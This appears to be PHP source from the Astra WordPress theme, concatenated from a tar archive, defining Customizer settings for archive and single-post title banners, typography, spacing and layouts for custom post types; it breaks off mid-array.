'divider' => array( 'ast_class' => 'ast-bottom-divider ast-section-spacing' ), ), /** * Option: Elements gap. */ array( 'name' => ASTRA_THEME_SETTINGS . '[' . $title_section . '-elements-gap]', 'type' => 'control', 'control' => 'ast-slider', 'section' => $title_section, 'transport' => 'postMessage', 'default' => astra_get_option( $title_section . '-elements-gap', 10 ), 'context' => Astra_Builder_Helper::$design_tab, 'priority' => 5, 'title' => __( 'Inner Elements Spacing', 'astra' ), 'suffix' => 'px', 'input_attrs' => array( 'min' => 0, 'step' => 1, 'max' => 100, ), 'divider' => array( 'ast_class' => 'ast-bottom-divider ast-section-spacing' ), ), /** * Option: Banner Content Width. */ array( 'name' => ASTRA_THEME_SETTINGS . '[' . $title_section . '-banner-image-type]', 'type' => 'control', 'control' => 'ast-selector', 'section' => $title_section, 'default' => astra_get_option( $title_section . '-banner-image-type', 'none' ), 'priority' => 5, 'context' => Astra_Builder_Helper::$design_tab, 'title' => __( 'Container Background', 'astra' ), 'choices' => $background_choices, 'divider' => array( 'ast_class' => 'ast-section-spacing ast-bottom-spacing' ), 'responsive' => false, 'renderAs' => 'text', ), /** * Option: Featured Image Custom Banner BG. */ array( 'name' => ASTRA_THEME_SETTINGS . '[' . $title_section . '-banner-custom-bg]', 'default' => astra_get_option( $title_section . '-banner-custom-bg', Astra_Posts_Structure_Loader::get_customizer_default( 'responsive-background' ) ), 'type' => 'control', 'control' => 'ast-responsive-background', 'section' => $title_section, 'title' => __( 'Background', 'astra' ), 'transport' => 'postMessage', 'priority' => 5, 'context' => array( Astra_Builder_Helper::$design_tab_config, 'relation' => 'AND', array( 'setting' => ASTRA_THEME_SETTINGS . '[' . $title_section . '-banner-image-type]', 'operator' => '===', 'value' => 'custom', ), ), ), /** * Option: Title Color */ array( 'name' => ASTRA_THEME_SETTINGS . '[' . $title_section . '-banner-title-color]', 'type' => 'control', 'control' => 'ast-color', 'section' => $title_section, 'default' => astra_get_option( $title_section . '-banner-title-color' ), 'transport' => 'postMessage', 'priority' => 9, 'title' => __( 'Title Color', 'astra' ), 'divider' => array( 'ast_class' => 'ast-top-divider ast-top-spacing' ), 'context' => Astra_Builder_Helper::$design_tab, ), /** * Option: Text Color */ array( 'name' => ASTRA_THEME_SETTINGS . '[' . $title_section . '-banner-text-color]', 'type' => 'control', 'control' => 'ast-color', 'section' => $title_section, 'default' => astra_get_option( $title_section . '-banner-text-color' ), 'priority' => 10, 'title' => __( 'Text Color', 'astra' ), 'transport' => 'postMessage', 'context' => Astra_Builder_Helper::$design_tab, ), /** * Option: Link Color */ array( 'name' => ASTRA_THEME_SETTINGS . '[' . $title_section . '-banner-link-color]', 'type' => 'control', 'control' => 'ast-color', 'section' => $title_section, 'default' => astra_get_option( $title_section . '-banner-link-color' ), 'transport' => 'postMessage', 'priority' => 15, 'title' => __( 'Link Color', 'astra' ), 'context' => Astra_Builder_Helper::$design_tab, ), /** * Option: Link Hover Color */ array( 'name' => ASTRA_THEME_SETTINGS . '[' . $title_section . '-banner-link-hover-color]', 'type' => 'control', 'control' => 'ast-color', 'section' => $title_section, 'default' => astra_get_option( $title_section . '-banner-link-hover-color' ), 'transport' => 'postMessage', 'priority' => 20, 'title' => __( 'Link Hover Color', 'astra' ), 'context' => Astra_Builder_Helper::$design_tab, 'divider' => array( 'ast_class' => 'ast-bottom-spacing' ), ), array( 'name' => ASTRA_THEME_SETTINGS . '[' . $title_section . '-banner-title-typography-group]', 'type' => 'control', 'priority' => 22, 'control' => 'ast-settings-group', 'context' => array( Astra_Builder_Helper::$design_tab_config, 'relation' => 'AND', array( 'setting' => ASTRA_THEME_SETTINGS . '[' . $title_section . '-structure]', 'operator' => 'contains', 'value' => $title_section . '-title', ), ), 'divider' => array( 'ast_class' => 'ast-top-divider' ), 'title' => __( 'Title Font', 'astra' ), 'is_font' => true, 'section' => $title_section, 'transport' => 'postMessage', ), array( 'name' => ASTRA_THEME_SETTINGS . '[' . $title_section . '-banner-text-typography-group]', 'type' => 'control', 'priority' => 25, 'control' => 'ast-settings-group', 'context' => Astra_Builder_Helper::$design_tab, 'title' => __( 'Text Font', 'astra' ), 'is_font' => true, 'divider' => array( 'ast_class' => 'ast-bottom-spacing' ), 'section' => $title_section, 'transport' => 'postMessage', ), /** * Option: Text Font Family */ array( 'name' => $title_section . '-text-font-family', 'parent' => ASTRA_THEME_SETTINGS . '[' . $title_section . '-banner-text-typography-group]', 'section' => $title_section, 'type' => 'sub-control', 'control' => 'ast-font', 'font_type' => 'ast-font-family', 'default' => astra_get_option( $title_section . '-text-font-family', 'inherit' ), 'title' => __( 'Font Family', 'astra' ), 'connect' => ASTRA_THEME_SETTINGS . '[' . $title_section . '-text-font-weight]', 'divider' => array( 'ast_class' => 'ast-sub-bottom-divider' ), ), /** * Option: Text Font Weight */ array( 'name' => $title_section . '-text-font-weight', 'parent' => ASTRA_THEME_SETTINGS . '[' . $title_section . '-banner-text-typography-group]', 'section' => $title_section, 'type' => 'sub-control', 'control' => 'ast-font', 'font_type' => 'ast-font-weight', 'sanitize_callback' => array( 'Astra_Customizer_Sanitizes', 'sanitize_font_weight' ), 'default' => astra_get_option( $title_section . '-text-font-weight', 'inherit' ), 'title' => __( 'Font Weight', 'astra' ), 'connect' => $title_section . '-text-font-family', 'divider' => array( 'ast_class' => 'ast-sub-bottom-divider' ), ), /** * Option: Text Font Size */ array( 'name' => $title_section . '-text-font-size', 'parent' => ASTRA_THEME_SETTINGS . '[' . $title_section . '-banner-text-typography-group]', 'section' => $title_section, 'type' => 'sub-control', 'control' => 'ast-responsive-slider', 'default' => astra_get_option( $title_section . '-text-font-size', Astra_Posts_Structure_Loader::get_customizer_default( 'font-size' ) ), 'transport' => 'postMessage', 'title' => __( 'Font Size', 'astra' ), 'sanitize_callback' => array( 'Astra_Customizer_Sanitizes', 'sanitize_responsive_slider' ), 'suffix' => array( 'px', 'em', 'vw', 'rem' ), 'input_attrs' => array( 'px' => array( 'min' => 0, 'step' => 1, 'max' => 200, ), 'em' => array( 'min' => 0, 'step' => 0.01, 'max' => 20, ), 'vw' => array( 'min' => 0, 'step' => 0.1, 'max' => 25, ), 'rem' => array( 'min' => 0, 'step' => 0.1, 'max' => 20, ), ), ), /** * Option: Archive Post Banner Text Font Extras */ array( 'name' => $title_section . '-text-font-extras', 'parent' => ASTRA_THEME_SETTINGS . '[' . $title_section . '-banner-text-typography-group]', 'section' => $title_section, 'type' => 'sub-control', 'control' => 'ast-font-extras', 'default' => astra_get_option( $title_section . '-text-font-extras', Astra_Posts_Structure_Loader::get_customizer_default( 'font-extras' ) ), 'title' => __( 'Font Extras', 'astra' ), ), /** * Option: Title Font Family */ array( 'name' => $title_section . '-title-font-family', 'parent' => ASTRA_THEME_SETTINGS . '[' . $title_section . '-banner-title-typography-group]', 'section' => $title_section, 'type' => 'sub-control', 'control' => 'ast-font', 'font_type' => 'ast-font-family', 'default' => astra_get_option( $title_section . '-title-font-family', 'inherit' ), 'title' => __( 'Font Family', 'astra' ), 'connect' => ASTRA_THEME_SETTINGS . '[' . $title_section . '-title-font-weight]', 'divider' => array( 'ast_class' => 'ast-sub-bottom-divider' ), ), /** * Option: Title Font Weight */ array( 'name' => $title_section . '-title-font-weight', 'parent' => ASTRA_THEME_SETTINGS . '[' . $title_section . '-banner-title-typography-group]', 'section' => $title_section, 'type' => 'sub-control', 'control' => 'ast-font', 'font_type' => 'ast-font-weight', 'sanitize_callback' => array( 'Astra_Customizer_Sanitizes', 'sanitize_font_weight' ), 'default' => astra_get_option( $title_section . '-title-font-weight', Astra_Posts_Structure_Loader::get_customizer_default( 'title-font-weight' ) ), 'title' => __( 'Font Weight', 'astra' ), 'connect' => $title_section . '-title-font-family', 'divider' => array( 'ast_class' => 'ast-sub-bottom-divider' ), ), /** * Option: Title Font Size */ array( 'name' => $title_section . '-title-font-size', 'parent' => ASTRA_THEME_SETTINGS . '[' . $title_section . '-banner-title-typography-group]', 'section' => $title_section, 'type' => 'sub-control', 'control' => 'ast-responsive-slider', 'default' => astra_get_option( $title_section . '-title-font-size', Astra_Posts_Structure_Loader::get_customizer_default( 'title-font-size' ) ), 'transport' => 'postMessage', 'title' => __( 'Font Size', 'astra' ), 'sanitize_callback' => array( 'Astra_Customizer_Sanitizes', 'sanitize_responsive_slider' ), 'suffix' => array( 'px', 'em', 'vw', 'rem' ), 'input_attrs' => array( 'px' => array( 'min' => 0, 'step' => 1, 'max' => 200, ), 'em' => array( 'min' => 0, 'step' => 0.01, 'max' => 20, ), 'vw' => array( 'min' => 0, 'step' => 0.1, 'max' => 25, ), 'rem' => array( 'min' => 0, 'step' => 0.1, 'max' => 20, ), ), ), /** * Option: Archive Post Banner Title Font Extras */ array( 'name' => $title_section . '-title-font-extras', 'parent' => ASTRA_THEME_SETTINGS . '[' . $title_section . '-banner-title-typography-group]', 'section' => $title_section, 'type' => 'sub-control', 'control' => 'ast-font-extras', 'default' => astra_get_option( $title_section . '-title-font-extras', Astra_Posts_Structure_Loader::get_customizer_default( 'font-extras' ) ), 'title' => __( 'Font Extras', 'astra' ), ), array( 'name' => ASTRA_THEME_SETTINGS . '[' . $title_section . '-banner-margin]', 'default' => astra_get_option( $title_section . '-banner-margin', Astra_Posts_Structure_Loader::get_customizer_default( 'responsive-spacing' ) ), 'type' => 'control', 'control' => 'ast-responsive-spacing', 'sanitize_callback' => array( 'Astra_Customizer_Sanitizes', 'sanitize_responsive_spacing' ), 'section' => $title_section, 'divider' => array( 'ast_class' => 'ast-top-divider' ), 'title' => __( 'Margin', 'astra' ), 'linked_choices' => true, 'transport' => 'postMessage', 'unit_choices' => array( 'px', 'em', '%' ), 'choices' => array( 'top' => __( 'Top', 'astra' ), 'right' => __( 'Right', 'astra' ), 'bottom' => __( 'Bottom', 'astra' ), 'left' => __( 'Left', 'astra' ), ), 'context' => Astra_Builder_Helper::$design_tab, 'priority' => 100, 'connected' => false, ), array( 'name' => ASTRA_THEME_SETTINGS . '[' . $title_section . '-banner-padding]', 'default' => astra_get_option( $title_section . '-banner-padding', class_exists( 'WooCommerce' ) && 'product' === $post_type ? Astra_Posts_Structure_Loader::get_customizer_default( 'responsive-spacing' ) : Astra_Posts_Structure_Loader::get_customizer_default( 'responsive-padding' ) ), 'type' => 'control', 'control' => 'ast-responsive-spacing', 'sanitize_callback' => array( 'Astra_Customizer_Sanitizes', 'sanitize_responsive_spacing' ), 'section' => $title_section, 'title' => __( 'Padding', 'astra' ), 'linked_choices' => true, 'transport' => 'postMessage', 'unit_choices' => array( 'px', 'em', '%' ), 'choices' => array( 'top' => __( 'Top', 'astra' ), 'right' => __( 'Right', 'astra' ), 'bottom' => __( 'Bottom', 'astra' ), 'left' => __( 'Left', 'astra' ), ), 'context' => Astra_Builder_Helper::$design_tab, 'priority' => 120, 'connected' => false, ), ); if ( 'post' === $post_type ) { /** * Option: Disable Transparent Header on Your latest posts index Page */ $_configs[] = array( 'name' => ASTRA_THEME_SETTINGS . '[' . $title_section . '-banner-on-blog]', 'default' => astra_get_option( $title_section . '-banner-on-blog', false ), 'type' => 'control', 'section' => $title_section, 'context' => array( Astra_Builder_Helper::$general_tab_config, array( 'setting' => ASTRA_THEME_SETTINGS . '[' . $title_section . '-layout]', 'operator' => '!=', 'value' => 'layout-1', ), ), 'title' => __( 'Enable on Blog / Posts Page?', 'astra' ), 'priority' => 7, 'control' => 'ast-toggle-control', 'divider' => array( 'ast_class' => 'ast-top-divider ast-bottom-spacing' ), ); } if ( 'product' === $post_type ) { /** * Option: Featured Image Overlay Color. */ $_configs[] = array( 'name' => ASTRA_THEME_SETTINGS . '[' . $title_section . '-banner-featured-overlay]', 'type' => 'control', 'control' => 'ast-color', 'section' => $title_section, 'default' => astra_get_option( $title_section . '-banner-featured-overlay', '' ), 'priority' => 6, 'title' => __( 'Overlay Color', 'astra' ), 'context' => array( Astra_Builder_Helper::$design_tab_config, 'relation' => 'AND', array( 'setting' => ASTRA_THEME_SETTINGS . '[' . $title_section . '-banner-image-type]', 'operator' => '===', 'value' => 'featured', ), ), ); } $configurations = array_merge( $configurations, $_configs ); } return $configurations; } /** * Get Dynamic Section Title. * * @since 4.4.0 * @param object|null $post_type_object Post type object. * @param string $post_type Post type. * @return string */ public function get_dynamic_section_title( $post_type_object, $post_type ) { if ( ! is_null( $post_type_object ) ) { $title = 'post' === $post_type ? __( 'Blog', 'astra' ) : Astra_Posts_Structures_Configs::astra_get_dynamic_section_title( get_post_type_object( $post_type ), $post_type ); } else { $title = __( 'Archive Banner', 'astra' ); } /** @psalm-suppress TooManyArguments */ return apply_filters( 'astra_archive_post_title', $title . __( ' Title Area', 'astra' ), $post_type ); } } /** * Kicking this off by creating new object. */ new Astra_Posts_Archive_Structures_Configs(); posts-structures/customizer/class-astra-posts-structures-configs.php 0000644 00000010466 15104530576 0022321 0 ustar 00 <?php /** * Posts Structures Options for our theme. * * @package Astra * @link https://www.brainstormforce.com * @since Astra 4.0.0 */ // Block direct access to the file. if ( ! defined( 'ABSPATH' ) ) { exit; } // Bail if Customizer config base class does not exist. if ( ! class_exists( 'Astra_Customizer_Config_Base' ) ) { return; } /** * Register Posts Structures Customizer Configurations. * * @since 4.0.0 */ class Astra_Posts_Structures_Configs extends Astra_Customizer_Config_Base { /** * Excluding some post types with avoiding narrow-width container layout. * * @return array * @since 4.0.0 */ public static function get_narrow_width_exculde_cpts() { if ( ! Astra_Dynamic_CSS::astra_fullwidth_sidebar_support() ) { return apply_filters( 'astra_exculde_narrow_width_support_posttypes', array( 'product', 'download', 'course', 'lesson', 'tutor_quiz', 'tutor_assignments', 'sfwd-assignment', 'sfwd-essays', 'sfwd-transactions', 'sfwd-certificates', 'sfwd-quiz' ) ); } // Excluded some more cpts for narrow. return apply_filters( 'astra_exculde_narrow_width_support_posttypes', array( 'product', 'download', 'course', 'lesson', 'tutor_quiz', 'tutor_assignments', 'sfwd-assignment', 'sfwd-essays', 'sfwd-transactions', 'sfwd-certificates', 'sfwd-quiz', 'sfwd-courses', 'sfwd-lessons', 'sfwd-topic', 'groups' ) ); } /** * Function to get formatted dynamic cpt section title. * * @since 4.0.2 * @param object|null $post_type_obj WP_Post_Type object. * @param string $label fallback label. * @return string formatted label. */ public static function astra_get_dynamic_section_title( $post_type_obj, $label ) { return is_object( $post_type_obj ) && isset( $post_type_obj->labels->name ) ? $post_type_obj->labels->name : ucfirst( $label ); } /** * Register Posts Structures Customizer Configurations. * * @param Array $configurations Astra Customizer Configurations. * @param WP_Customize_Manager $wp_customize instance of WP_Customize_Manager. * @since 4.0.0 * @return Array Astra Customizer Configurations with updated configurations. */ public function register_configuration( $configurations, $wp_customize ) { $post_types = Astra_Posts_Structure_Loader::get_supported_post_types(); if ( ! empty( $post_types ) ) { $_configs = array( array( 'name' => 'section-posts-structure', 'type' => 'section', 'section' => 'section-blog-group', 'priority' => 69, 'title' => __( 'Custom Post Types', 'astra' ), ), ); $ignore_single_for_posttypes = array( 'post', 'product' ); $ignore_archive_for_posttypes = array( 'post', 'product' ); /** * Individual post types main section. */ foreach ( $post_types as $label ) { $post_type_object = get_post_type_object( $label ); $parent_section = 'section-posts-structure'; if ( 'download' === $label ) { $parent_section = 'section-edd-group'; } if ( 'llms_membership' === $label ) { $parent_section = 'section-lifterlms'; } if ( 'groups' === $label || 'sfwd-topic' === $label || 'sfwd-lessons' === $label || 'sfwd-courses' === $label ) { $parent_section = 'section-learndash'; } $section_title = self::astra_get_dynamic_section_title( $post_type_object, $label ); $_configs[] = array( 'name' => 'section-posttype-' . $label, 'type' => 'section', 'section' => $parent_section, 'title' => $section_title, 'priority' => 69, ); if ( ! in_array( $label, $ignore_archive_for_posttypes ) ) { $_configs[] = array( 'name' => 'archive-posttype-' . $label, 'type' => 'section', 'title' => __( 'Archive', 'astra' ) . ' ' . $section_title, 'section' => 'section-posttype-' . $label, 'priority' => 5, ); } if ( ! in_array( $label, $ignore_single_for_posttypes ) ) { $_configs[] = array( 'name' => 'single-posttype-' . $label, 'type' => 'section', 'title' => __( 'Single', 'astra' ) . ' ' . $section_title, 'section' => 'section-posttype-' . $label, 'priority' => 10, ); } } $configurations = array_merge( $configurations, $_configs ); } return $configurations; } } /** * Kicking this off by creating new object. */ new Astra_Posts_Structures_Configs(); posts-structures/customizer/class-astra-posts-single-structures-configs.php 0000644 00000174737 15104530576 0023614 0 ustar 00 <?php /** * Posts Strctures Options for our theme. * * @package Astra * @link https://www.brainstormforce.com * @since Astra 4.0.0 */ // Block direct access to the file. if ( ! defined( 'ABSPATH' ) ) { exit; } // Bail if Customizer config base class does not exist. if ( ! class_exists( 'Astra_Customizer_Config_Base' ) ) { return; } /** * Register Posts Strctures Customizer Configurations. * * @since 4.0.0 */ class Astra_Posts_Single_Structures_Configs extends Astra_Customizer_Config_Base { /** * Getting new content layout options dynamically. * Compatibility case: Narrow width + dynamic customizer controls. * * @param string $post_type On basis of this will decide to show narrow-width layout or not. * @since 4.2.0 */ public function get_new_content_layout_choices( $post_type ) { if ( ! in_array( $post_type, Astra_Posts_Structures_Configs::get_narrow_width_exculde_cpts() ) ) { return array( 'default' => array( 'label' => __( 'Default', 'astra' ), 'path' => class_exists( 'Astra_Builder_UI_Controller' ) ? Astra_Builder_UI_Controller::fetch_svg_icon( 'layout-default', false ) : '', ), 'normal-width-container' => array( 'label' => __( 'Normal', 'astra' ), 'path' => class_exists( 'Astra_Builder_UI_Controller' ) ? Astra_Builder_UI_Controller::fetch_svg_icon( 'normal-width-container', false ) : '', ), 'narrow-width-container' => array( 'label' => __( 'Narrow', 'astra' ), 'path' => class_exists( 'Astra_Builder_UI_Controller' ) ? Astra_Builder_UI_Controller::fetch_svg_icon( 'narrow-width-container', false ) : '', ), 'full-width-container' => array( 'label' => __( 'Full Width', 'astra' ), 'path' => class_exists( 'Astra_Builder_UI_Controller' ) ? Astra_Builder_UI_Controller::fetch_svg_icon( 'full-width-container', false ) : '', ), ); } return array( 'default' => array( 'label' => __( 'Default', 'astra' ), 'path' => class_exists( 'Astra_Builder_UI_Controller' ) ? Astra_Builder_UI_Controller::fetch_svg_icon( 'layout-default', false ) : '', ), 'normal-width-container' => array( 'label' => __( 'Normal', 'astra' ), 'path' => class_exists( 'Astra_Builder_UI_Controller' ) ? Astra_Builder_UI_Controller::fetch_svg_icon( 'normal-width-container', false ) : '', ), 'full-width-container' => array( 'label' => __( 'Full Width', 'astra' ), 'path' => class_exists( 'Astra_Builder_UI_Controller' ) ? Astra_Builder_UI_Controller::fetch_svg_icon( 'full-width-container', false ) : '', ), ); } /** * Register Single Post's Structures Customizer Configurations. * * @param string $parent_section Section of dynamic customizer. * @param string $post_type Post Type. * @since 4.0.0 * * @return array Customizer Configurations. */ public function get_layout_configuration( $parent_section, $post_type ) { return array( /** * Option: Revamped Single Container Layout. */ array( 'name' => ASTRA_THEME_SETTINGS . '[single-' . $post_type . '-ast-content-layout]', 'type' => 'control', 'control' => 'ast-radio-image', 'sanitize_callback' => array( 'Astra_Customizer_Sanitizes', 'sanitize_choices' ), 'section' => $parent_section, 'default' => astra_get_option( 'single-' . $post_type . '-ast-content-layout', 'default' ), 'priority' => 3, 'title' => __( 'Container Layout', 'astra' ), 'choices' => $this->get_new_content_layout_choices( $post_type ), 'divider' => array( 'ast_class' => 'ast-top-divider' ), ), /** * Option: Single Content Style. */ array( 'name' => ASTRA_THEME_SETTINGS . '[single-' . $post_type . '-content-style]', 'type' => 'control', 'control' => 'ast-selector', 'section' => $parent_section, 'default' => astra_get_option( 'single-' . $post_type . '-content-style', 'default' ), 'priority' => 3, 'title' => __( 'Container Style', 'astra' ), 'description' => __( 'Container style will apply only when layout is set to either normal or narrow.', 'astra' ), 'choices' => array( 'default' => __( 'Default', 'astra' ), 'unboxed' => __( 'Unboxed', 'astra' ), 'boxed' => __( 'Boxed', 'astra' ), ), 'renderAs' => 'text', 'responsive' => false, 'divider' => array( 'ast_class' => 'ast-top-divider' ), ), /** * Option: Single Sidebar Layout. */ array( 'name' => ASTRA_THEME_SETTINGS . '[single-' . $post_type . '-sidebar-layout]', 'type' => 'control', 'control' => 'ast-radio-image', 'sanitize_callback' => array( 'Astra_Customizer_Sanitizes', 'sanitize_choices' ), 'section' => $parent_section, 'default' => astra_get_option( 'single-' . $post_type . '-sidebar-layout', 'default' ), 'description' => __( 'Sidebar will only apply when container layout is set to normal.', 'astra' ), 'priority' => 3, 'title' => __( 'Sidebar Layout', 'astra' ), 'divider' => array( 'ast_class' => 'ast-top-section-divider' ), 'choices' => array( 'default' => array( 'label' => __( 'Default', 'astra' ), 'path' => class_exists( 'Astra_Builder_UI_Controller' ) ? Astra_Builder_UI_Controller::fetch_svg_icon( 'layout-default', false ) : '', ), 'no-sidebar' => array( 'label' => __( 'No Sidebar', 'astra' ), 'path' => class_exists( 'Astra_Builder_UI_Controller' ) ? Astra_Builder_UI_Controller::fetch_svg_icon( 'no-sidebar', false ) : '', ), 'left-sidebar' => array( 'label' => __( 'Left Sidebar', 'astra' ), 'path' => class_exists( 'Astra_Builder_UI_Controller' ) ? Astra_Builder_UI_Controller::fetch_svg_icon( 'left-sidebar', false ) : '', ), 'right-sidebar' => array( 'label' => __( 'Right Sidebar', 'astra' ), 'path' => class_exists( 'Astra_Builder_UI_Controller' ) ? Astra_Builder_UI_Controller::fetch_svg_icon( 'right-sidebar', false ) : '', ), ), ), /** * Option: Single Sidebar Style. */ array( 'name' => ASTRA_THEME_SETTINGS . '[single-' . $post_type . '-sidebar-style]', 'type' => 'control', 'control' => 'ast-selector', 'section' => $parent_section, 'default' => astra_get_option( 'single-' . $post_type . '-sidebar-style', 'default' ), 'priority' => 3, 'title' => __( 'Sidebar Style', 'astra' ), 'choices' => array( 'default' => __( 'Default', 'astra' ), 'unboxed' => __( 'Unboxed', 'astra' ), 'boxed' => __( 'Boxed', 'astra' ), ), 'responsive' => false, 'renderAs' => 'text', 'divider' => array( 'ast_class' => 'ast-top-divider' ), ), /** * Option: Single Page Content Width */ array( 'name' => ASTRA_THEME_SETTINGS . '[page-single-width]', 'type' => 'control', 'control' => 'ast-selector', 'section' => $parent_section, 'default' => astra_get_option( 'page-single-width' ), 'priority' => 6, 'title' => __( 'Content Width', 'astra' ), 'choices' => array( 'default' => __( 'Default', 'astra' ), 'custom' => __( 'Custom', 'astra' ), ), 'transport' => 'postMessage', 'responsive' => false, 'divider' => array( 'ast_class' => 'ast-top-section-divider' ), 'renderAs' => 'text', ), /** * Option: Enter Width */ array( 'name' => ASTRA_THEME_SETTINGS . '[page-single-max-width]', 'type' => 'control', 'control' => 'ast-slider', 'section' => $parent_section, 'transport' => 'postMessage', 'default' => astra_get_option( 'page-single-max-width' ), 'context' => array( Astra_Builder_Helper::$general_tab_config, array( 'setting' => ASTRA_THEME_SETTINGS . '[page-single-width]', 'operator' => '===', 'value' => 'custom', ), ), 'priority' => 6, 'title' => __( 'Custom Width', 'astra' ), 'suffix' => 'px', 'input_attrs' => array( 'min' => 0, 'step' => 1, 'max' => 1920, ), 'divider' => array( 'ast_class' => 'ast-top-divider' ), ), ); } /** * Register Posts Strctures Customizer Configurations. * * @param Array $configurations Astra Customizer Configurations. * @param WP_Customize_Manager $wp_customize instance of WP_Customize_Manager. * @since 4.0.0 * @return Array Astra Customizer Configurations with updated configurations. */ public function register_configuration( $configurations, $wp_customize ) { $post_types = Astra_Posts_Structure_Loader::get_supported_post_types(); foreach ( $post_types as $index => $post_type ) { $raw_taxonomies = array_diff( get_object_taxonomies( $post_type ), array( 'post_format' ) ); $raw_taxonomies[''] = __( 'Select', 'astra' ); // Filter out taxonomies in index-value format. $taxonomies = array(); foreach ( $raw_taxonomies as $index => $value ) { /** @psalm-suppress PossiblyInvalidArgument */ // phpcs:ignore Generic.Commenting.DocComment.MissingShort $tax_object = get_taxonomy( $value ); /** @psalm-suppress PossiblyInvalidArgument */ // phpcs:ignore Generic.Commenting.DocComment.MissingShort // @codingStandardsIgnoreStart $tax_val = is_object( $tax_object ) && ! empty( $tax_object->label ) ? $tax_object->label : $value; // @codingStandardsIgnoreEnd if ( '' === $index ) { $taxonomies[''] = $tax_val; } else { $taxonomies[ $value ] = $tax_val; } } /** @psalm-suppress InvalidArgument */ // phpcs:ignore Generic.Commenting.DocComment.MissingShort $taxonomies = array_reverse( $taxonomies ); /** @psalm-suppress InvalidArgument */ // phpcs:ignore Generic.Commenting.DocComment.MissingShort $section = 'single-posttype-' . $post_type; $title_section = 'ast-dynamic-single-' . $post_type; $post_type_object = get_post_type_object( $post_type ); $_structure_defaults = 'page' === $post_type ? array( $title_section . '-image', $title_section . '-title' ) : array( $title_section . '-title', $title_section . '-meta' ); $default_edd_featured_image = true === astra_enable_edd_featured_image_defaults(); if ( 'product' === $post_type ) { $parent_section = 'section-woo-shop-single'; } elseif ( 'post' === $post_type ) { $parent_section = 'section-blog-single'; } elseif ( 'page' === $post_type ) { $parent_section = 'section-single-page'; } elseif ( 'download' === $post_type ) { $parent_section = 'section-edd-single'; $_structure_defaults[] = $default_edd_featured_image ? $title_section . '-image' : ''; } else { $parent_section = $section; } $structure_defaults = astra_get_option( $title_section . '-structure', $_structure_defaults ); $meta_config_options = array(); $clone_limit = 0; /** @psalm-suppress InvalidArgument */ // phpcs:ignore Generic.Commenting.DocComment.MissingShort if ( count( $taxonomies ) > 1 ) { /** @psalm-suppress InvalidArgument */ // phpcs:ignore Generic.Commenting.DocComment.MissingShort $clone_limit = 3; $to_clone = true; if ( absint( astra_get_option( $title_section . '-taxonomy-clone-tracker', 1 ) ) === $clone_limit ) { $to_clone = false; } $meta_config_options[ $title_section . '-taxonomy' ] = array( 'clone' => $to_clone, 'is_parent' => true, 'main_index' => $title_section . '-taxonomy', 'clone_limit' => $clone_limit, 'clone_tracker' => ASTRA_THEME_SETTINGS . '[' . $title_section . '-taxonomy-clone-tracker]', 'title' => __( 'Taxonomies', 'astra' ), ); $meta_config_options[ $title_section . '-taxonomy-1' ] = array( 'clone' => $to_clone, 'is_parent' => true, 'main_index' => $title_section . '-taxonomy', 'clone_limit' => $clone_limit, 'clone_tracker' => ASTRA_THEME_SETTINGS . '[' . $title_section . '-taxonomy-clone-tracker]', 'title' => __( 'Taxonomies', 'astra' ), ); $meta_config_options[ $title_section . '-taxonomy-2' ] = array( 'clone' => $to_clone, 'is_parent' => true, 'main_index' => $title_section . '-taxonomy', 'clone_limit' => $clone_limit, 'clone_tracker' => ASTRA_THEME_SETTINGS . '[' . $title_section . '-taxonomy-clone-tracker]', 'title' => __( 'Taxonomies', 'astra' ), ); } $meta_config_options['date'] = array( 'clone' => false, 'is_parent' => true, 'main_index' => 'date', 'clone_limit' => 1, 'title' => __( 'Date', 'astra' ), ); $meta_config_options['author'] = array( 'clone' => false, 'is_parent' => true, 'main_index' => 'author', 'clone_limit' => 1, 'title' => __( 'Author', 'astra' ), ); // Display Read Time option in Meta options only when Astra Addon is activated. /** @psalm-suppress UndefinedClass */ // phpcs:ignore Generic.Commenting.DocComment.MissingShort if ( defined( 'ASTRA_EXT_VER' ) && Astra_Ext_Extension::is_active( 'blog-pro' ) ) { $meta_config_options['read-time'] = __( 'Read Time', 'astra' ); } $structure_sub_controls = array(); $structure_sub_controls[ $title_section . '-meta' ] = array( 'clone' => false, 'is_parent' => true, 'main_index' => $title_section . '-meta', 'clone_limit' => 2, 'title' => __( 'Meta', 'astra' ), ); // Add featured as background sub-control. $structure_sub_controls[ $title_section . '-image' ] = array( 'clone' => false, 'is_parent' => true, 'main_index' => $title_section . '-image', 'clone_limit' => 2, 'title' => __( 'Featured Image', 'astra' ), ); // Add taxonomy in structural sub-control. $structure_sub_controls[ $title_section . '-str-taxonomy' ] = array( 'clone' => false, 'is_parent' => true, 'main_index' => $title_section . '-str-taxonomy', 'clone_limit' => 2, 'title' => __( 'Taxonomies', 'astra' ), ); $configurations = array_merge( $configurations, $this->get_layout_configuration( $parent_section, $post_type ) ); // Conditional tooltip. $default_tooltip = __( "'None' respects hierarchy; 'Behind' positions the image under the article.", 'astra' ); $tooltip_product = __( "'None' respects hierarchy; 'Behind' position is not applicable for single product page.", 'astra' ); $second_layout_default_tooltip = __( "'None' respects hierarchy; 'Below' positions image on top of the article.", 'astra' ); $second_layout_tooltip_product = __( "'None' respects hierarchy; 'Below' position is not applicable for single product page.", 'astra' ); // Added check if current panel is for the single product option. $tooltip_description = $parent_section === 'section-woo-shop-single' ? $tooltip_product : $default_tooltip; $second_layout_tooltip_description = $parent_section === 'section-woo-shop-single' ? $second_layout_tooltip_product : $second_layout_default_tooltip; $_configs = array( /** * Option: Builder Tabs */ array( 'name' => $title_section . '-ast-context-tabs', 'section' => $title_section, 'type' => 'control', 'control' => 'ast-builder-header-control', 'priority' => 0, 'description' => '', 'context' => array(), ), array( 'name' => $title_section, // @codingStandardsIgnoreStart 'title' => $this->get_dynamic_section_title( $post_type_object, $post_type ), // @codingStandardsIgnoreEnd 'type' => 'section', 'section' => $parent_section, 'panel' => 'product' === $post_type ? 'woocommerce' : '', 'priority' => 1, ), array( 'name' => ASTRA_THEME_SETTINGS . '[ast-single-' . $post_type . '-title]', 'type' => 'control', 'default' => astra_get_option( 'ast-single-' . $post_type . '-title', class_exists( 'WooCommerce' ) && 'product' === $post_type ? false : true ), 'control' => 'ast-section-toggle', 'section' => $parent_section, 'priority' => 2, 'linked' => $title_section, 'linkText' => $this->get_dynamic_section_title( $post_type_object, $post_type ), 'divider' => array( 'ast_class' => 'ast-bottom-divider ast-bottom-section-divider' ), ), /** * Layout option. */ array( 'name' => ASTRA_THEME_SETTINGS . '[' . $title_section . '-layout]', 'type' => 'control', 'control' => 'ast-radio-image', 'sanitize_callback' => array( 'Astra_Customizer_Sanitizes', 'sanitize_choices' ), 'section' => $title_section, 'default' => astra_get_option( 